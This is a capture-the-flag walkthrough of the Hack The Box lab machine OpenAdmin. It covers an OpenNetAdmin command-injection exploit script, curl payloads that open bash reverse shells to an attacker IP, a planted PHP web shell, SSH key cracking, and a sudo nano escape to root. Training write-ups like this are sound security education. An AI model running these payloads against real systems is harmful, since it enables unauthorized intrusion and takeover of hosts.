✅OpenAdmin (Easy)
Lesson Learn
Report-Penetration
Vulnerable Exploit: Curl Injection, OpenAdmin out of dated
System Vulnerable: 10.10.10.171
Vulnerability Explanation: By enumerating hidden directory, we found a login page which exposed application version that out of dated which contained vulnerable with command injection.
Privilege Escalation Vulnerability: Password reuse and misconfigure privilege of the application.
Vulnerability Fix: Update application version to the latest or stable. Ensure that there is no reuse password in used and least privilege.
Severity: High
Step to Compromise the Host:
Reconnaissance
└─$ nmap -p- -sC -sV -T4 10.10.10.171 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-04 03:01 EST
Nmap scan report for 10.10.10.171
Host is up (0.052s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEnumeration
Port 80 Apache/2.4.29
By going through port 80, there is a default webpage of apache
Start running gobuster to find hidden directory
└─$ gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.171
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/12/04 03:02:10 Starting gobuster in directory enumeration mode
===============================================================
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]
/server-status (Status: 403) [Size: 277] Checking on /music
On login button, there is href to /10.10.10.171/ona
There is version 18.1.1. Let search for public exploit
Exploitation
Proof of Concept Code: https://www.exploit-db.com/exploits/47691
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
doneTrying manual exploit with curl command
└─$ curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping" http://10.10.10.171/ona 130 ⨯
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.10.171/ona/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80</address>
</body></html>Again, add / and the end http://10.10.10.171/ona/
└─$ curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping" http://10.10.10.171/ona/It's a lot of information. Let search for user www-data, we found
Now we can modify the script to ease of view the output
└─$ curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";id;echo \"END\"&xajaxargs[]=ping" http://10.10.10.171/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
uid=33(www-data) gid=33(www-data) groups=33(www-data)Confirms that we can execute command.
Let start netcat listener on port 4444
nc -lvp 4444└─$ curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash -c 'bash -i >%26 /dev/tcp/10.10.14.7/4444 0>%261';echo \"END\"&xajaxargs[]=ping" http://10.10.10.171/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Privilege Escalation
Shell as jimmy
By enumerate on the machine, we found a database file which stored password of user jimmy
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>We have checked password reuse and it's worked on user jimmy
www-data@openadmin:/opt/ona/www/local/config$ su jimmy
Password:
jimmy@openadmin:/opt/ona/www/local/config$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
jimmy@openadmin:/opt/ona/www/local/config$ whoami
jimmyShell as joanna
Checking on /var/www, we found /internal own by user jimmy
jimmy@openadmin:/var/www$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxr-xr-x 14 root root 4096 Nov 21 2019 ..
drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/wwwWe found there is a localhost listening on port 52846
//jimmy@openadmin:/var/www/internal$ netstat -tnpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN - This directory could be other web server
jimmy@openadmin:/var/www/internal$ ls -la
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 .
drwxr-xr-x 4 root root 4096 Nov 22 2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.phpLet check with the curl command on port 52846
Crack private key
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>Let try to crack the private key with the hint of "ninja"
└─$ /usr/share/john/ssh2john.py id_rsa > hash.txt
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (id_rsa)
1g 0:00:00:06 DONE (2021-12-04 10:23) 0.1605g/s 2302Kp/s 2302Kc/s 2302KC/s *7¡Vamos!
Session completed└─$ chmod 600 id_rsa 
We can write an unencrypted copy of the key
└─$ openssl rsa -in id_rsa -out id_rsa_joanna 255 ⨯
Enter pass phrase for id_rsa:
writing RSA key
└─$ ssh -i id_rsa_joanna joanna@10.10.10.171
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Dec 4 15:27:50 UTC 2021
System load: 0.0 Processes: 177
Usage of /: 30.9% of 7.81GB Users logged in: 0
Memory usage: 9% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$ exit
logout
Connection to 10.10.10.171 closed.Port Forwarding
└─$ ssh -L 52846:localhost:52846 jimmy@10.10.10.171
jimmy@10.10.10.171's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Dec 4 15:45:30 UTC 2021
System load: 0.0 Processes: 169
Usage of /: 30.9% of 7.81GB Users logged in: 0
Memory usage: 9% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
39 packages can be updated.
11 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ └─$ netstat -tplun
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN 2334/ssh
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:52846 :::* LISTEN 2334/ssh
udp 0 0 0.0.0.0:54988 0.0.0.0:* - 
Create a php command execute script on /var/www/internal
jimmy@openadmin:/var/www/internal$ cat shell.php
<?php system($_REQEUST[cmd]); ?>Confirms that we can remote execute arbitrary command
└─$ curl 127.0.0.1:52846/shell.php?cmd=id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
└─$ curl 127.0.0.1:52846/shell.php?cmd=whoami
joanna
└─$ curl http://127.0.0.1:52846/shell.php?cmd='bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.7/5555%200%3E%261%27'
Shell as Root
Check misconfigure on sudo -l
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv/opt/priv sudo -l
Nothing on /opt/priv. https://gtfobins.github.io/gtfobins/nano/#sudo
sudo /bin/nano
Ctrl+r
Ctrl+x
reset; /bin/bash 1>&0 2>&0
enter
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